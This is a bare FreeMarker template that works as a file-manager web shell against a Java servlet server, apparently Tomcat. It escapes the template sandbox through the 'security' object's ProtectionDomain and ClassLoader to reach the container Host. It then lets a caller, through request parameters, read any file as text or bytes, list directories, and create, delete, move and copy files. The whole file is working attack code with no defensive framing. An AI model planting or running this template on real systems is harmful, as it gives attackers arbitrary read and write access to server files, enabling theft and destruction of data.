<#compress>
<#assign protected_domain=security.getClass().getProtectionDomain()>
<#assign loader=protected_domain.getClassLoader()>
<#assign root=loader.getResources()>
<#assign context=root.getContext()>
<#assign host=context.getParent()>
<#assign action=request.getParameter("0")>
<#assign orig_appbase=host.getAppBaseFile()>

<#if action == 'info'>
    Host application base: ${orig_appbase}
    <#assign baseURLs=root.getBaseUrls()>
    Current application base: ${baseURLs[0]}
</#if>

<#if action == 'read'>
    <#assign filename=request.getParameter("1")>
    <#attempt>
        <#include filename parse=false encoding="UTF-8">
    <#recover>
        Failed to read ${filename}
    </#attempt>
</#if>

<#if action == 'read_bytes'>
    <#assign filename=request.getParameter("1")>
    <#assign urls=protected_domain.getClassLoader().getURLs()>
    <#attempt>
        <#assign file_url=urls[0].toURI().resolve(filename).toURL()>
        <#assign file_content=file_url.getContent()>
        <#list 0..999999999 as _>
            <#assign byte=file_content.read()>
            <#if byte == -1>
                <#break>
            </#if>
${byte},</#list>
    <#recover>
        Failed to read ${filename}
    </#attempt>
</#if>

<#if action == 'list'>
    <#assign src=request.getParameter("1")>
    <#assign x=host.setAppBase(src)>
    <#assign source_file=host.getAppBaseFile()>
    <#assign list=source_file.list()>
    <#list list as item>
        ${item}
    </#list>
    <#assign x=host.setAppBase(orig_appbase)>
</#if>

<#if action == 'create_file'>
    <#assign src=request.getParameter("1")>
    <#assign x=host.setAppBase(src)>
    <#assign source_file=host.getAppBaseFile()>
    creating file ${source_file}
    success: ${source_file.createNewFile()?string}
    <#assign x=host.setAppBase(orig_appbase)>
</#if>

<#if action == 'mkdir'>
    <#assign src=request.getParameter("1")>
    <#assign x=host.setAppBase(src)>
    <#assign source_file=host.getAppBaseFile()>
    creating directories ${source_file}
    success: ${source_file.mkdirs()?string}
    <#assign x=host.setAppBase(orig_appbase)>
</#if>

<#if action == 'delete'>
    <#assign src=request.getParameter("1")>
    <#assign x=host.setAppBase(src)>
    <#assign source_file=host.getAppBaseFile()>
    deleting ${source_file}
    success: ${source_file.delete()?string}
    <#assign x=host.setAppBase(orig_appbase)>
</#if>

<#if action == 'move'>
    <#assign src=request.getParameter("1")>
    <#assign dst=request.getParameter("2")>
    <#assign x=host.setAppBase(src)>
    <#assign source_file=host.getAppBaseFile()>
    ${host.setAppBase(dst)}
    <#assign dest_file=host.getAppBaseFile()>
    source: ${source_file}
    destination: ${dest_file}
    success: ${source_file.renameTo(dest_file)?string}
    <#assign x=host.setAppBase(orig_appbase)>
</#if>

<#if action == 'copy'>
    <#assign src_path=request.getParameter("1")>
    <#assign src=request.getParameter("2")>
    <#assign dst=request.getParameter("3")>
    <#assign URLs=loader.getURLs()>
    <#assign URLs=URLs+[URLs[0].toURI().resolve(src_path).toURL()]>
    <#assign newClassLoader=loader.newInstance(URLs)>
    <#assign stream=newClassLoader.getResourceAsStream(src)>
    <#assign writeResult=root.write(dst, stream, true)>
    Wrote file to disk: ${writeResult?string}
</#if>

</#compress>